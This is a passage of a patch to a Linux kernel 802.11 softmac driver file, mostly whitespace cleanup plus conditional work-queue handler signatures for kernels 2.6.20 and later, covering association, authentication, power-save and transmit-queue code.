cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - + + tag = skb_put(skb, rate_len); + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + tag = skb_put(skb,wpa_len); - + if(wpa_len) { if(wpa_len > (22 + 2) ) { beacon->wpa_ie[wpa_len - 2] = 0; } - + } memcpy(tag,beacon->wpa_ie,wpa_len); - + tag = skb_put(skb,rsn_len); if(rsn_len) { @@ -890,12 +901,12 @@ void ieee80211_associate_abort(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -903,17 +914,17 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -927,50 +938,50 @@ { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) + + if (!skb) ieee80211_associate_abort(ieee); - else{ + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - + skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - + ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - + softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } @@ -978,28 +989,34 @@ { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; skb=ieee80211_association_req(beacon, ieee); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -1007,7 +1024,7 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); @@ -1017,52 +1034,58 @@ { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee80211_stop_scan(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; ieee80211_associate_step1(ieee); - + up(&ieee->wx_sem); } inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1073,23 +1096,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1098,18 +1121,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1119,7 +1142,7 @@ } ieee->state = IEEE80211_LINKED; } - + } } @@ -1127,26 +1150,26 @@ void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - + list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) ieee80211_softmac_new_net(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } @@ -1154,7 +1177,7 @@ { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1162,34 +1185,34 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } int auth_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } @@ -1199,21 +1222,21 @@ u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1222,41 +1245,41 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } int assoc_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } static inline u16 assoc_parse(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); @@ -1266,7 +1289,7 @@ ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); @@ -1284,26 +1307,26 @@ int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - + if ((status = auth_rq_parse(skb, dest))!= -1){ ieee80211_resp_to_auth(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; if (assoc_rq_parse(skb,dest) != -1){ ieee80211_resp_to_assoc_rq(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1317,24 +1340,24 @@ void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) { - + struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + if (buf) softmac_ps_mgmt_xmit(buf, ieee); // printk(KERN_INFO "ieee80211_sta_ps_send_null_frame!\n"); -} +} short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1343,7 +1366,7 @@ return 0; printk(KERN_INFO "VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; printk(KERN_INFO "no UCAST\n"); @@ -1358,11 +1381,11 @@ return 0; printk(KERN_INFO "cc\n"); if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) @@ -1372,8 +1395,8 @@ ieee->ps_tl=*time_l; // printk(KERN_INFO "ieee->ps_tl %lu!\n",ieee->ps_tl); return 1; - - + + } inline void ieee80211_sta_ps(struct ieee80211_device *ieee) @@ -1381,72 +1404,72 @@ u32 th,tl; short sleep; - + unsigned long flags,flags2; //// printk(KERN_INFO "enter ieee80211_sta_ps!\n"); spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - + // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); + + ieee80211_sta_wakeup(ieee, 1); printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - + sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ //printk(KERN_INFO "sleep %d,th %lu, tl %lu,sta_sleep %d\n",sleep,th,tl,ieee->sta_sleep); if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) //ieee->enter_sleep_state(ieee->dev,th,tl); queue_work(ieee->wq,&ieee->hw_sleep_wq); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + // ieee->ps_request_tx_ack(ieee->dev); // printk(KERN_INFO "ps request address %lu!\n",ieee->ps_request_tx_ack); - // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); + // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); ieee80211_sta_ps_send_null_frame(ieee,1); ieee80211_sta_ps_send_null_frame(ieee,1); - + ieee->ps_th = th; ieee->ps_tl = tl; // udelay(100); ieee80211_ps_tx_ack(ieee,1);//add without interrupt like 8185 - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + ieee80211_sta_wakeup(ieee,1); printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) @@ -1460,14 +1483,14 @@ ieee80211_sta_ps_send_null_frame(ieee, 0); } return; - + } - if(ieee->sta_sleep == 1) + if(ieee->sta_sleep == 1) //ieee->sta_wake_up(ieee->dev); queue_work(ieee->wq,&ieee->hw_wakeup_wq); - + ieee->sta_sleep = 0; - + if(nl){ //ieee->ps_request_tx_ack(ieee->dev); //queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); @@ -1480,7 +1503,7 @@ unsigned long flags,flags2; // printk(KERN_INFO "ieee80211_ps_tx_ack,success %d,sta_sleep %d!\n",success,ieee->sta_sleep); spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1495,7 +1518,7 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); ieee80211_sta_ps_send_null_frame(ieee, 0); @@ -1519,66 +1542,66 @@ header = (struct ieee80211_hdr_3addr *) skb->data; if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) { //// printk(KERN_INFO "schedule ps task!\n"); tasklet_schedule(&ieee->ps_task);} - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ if (0 == (errcode=assoc_parse(skb, &aid))){ - + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - + ieee80211_associate_complete(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - + ieee80211_rx_assoc_rq(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - + if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - + ieee80211_associate_step2(ieee); }else{ ieee80211_auth_challenge(ieee, challenge, chlen); @@ -1588,47 +1611,47 @@ IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); ieee80211_associate_abort(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ ieee80211_rx_auth_rq(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - + ieee80211_rx_probe_rq(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - + notify_wx_assoc_event(ieee); - + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1646,21 +1669,20 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - + */ + void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1671,13 +1693,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1691,9 +1713,8 @@ } /* called with 2nd parm 0, no tx mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ //added by david. 2007.1.23 if(ieee->tx_pending.txb != NULL) { @@ -1709,16 +1730,16 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } + } lost: //ieee80211_txb_free(txb); - + exit: atomic_dec(&ieee->tx_pending_txb); spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ @@ -1726,13 +1747,13 @@ { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1740,8 +1761,8 @@ ieee->dev->trans_start = jiffies; } } - - + + //ieee80211_txb_free(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } @@ -1751,7 +1772,7 @@ { unsigned long flags; struct sk_buff *ret; - + spin_lock_irqsave(&ieee->lock,flags); // added by david, 2007.1.23 while((ret = dequeue_mgmt(ieee)) != NULL) { @@ -1773,17 +1794,17 @@ unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1799,12 +1820,12 @@ } if (!ieee->queue_stop && ieee->tx_pending.txb) ieee80211_resume_tx(ieee); - + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } @@ -1821,17 +1842,17 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; @@ -1841,61 +1862,68 @@ void ieee80211_start_master_bss(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ ieee80211_softmac_check_all_nets(ieee); - + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1915,25 +1943,25 @@ /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) ieee80211_randomize_cell(ieee); - + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1942,34 +1970,34 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - + notify_wx_assoc_event(ieee); - + ieee80211_start_send_beacons(ieee); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } @@ -1988,7 +2016,7 @@ * in associating / authenticating phase) start the background scanning. */ ieee80211_softmac_check_all_nets(ieee); - + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1997,10 +2025,10 @@ 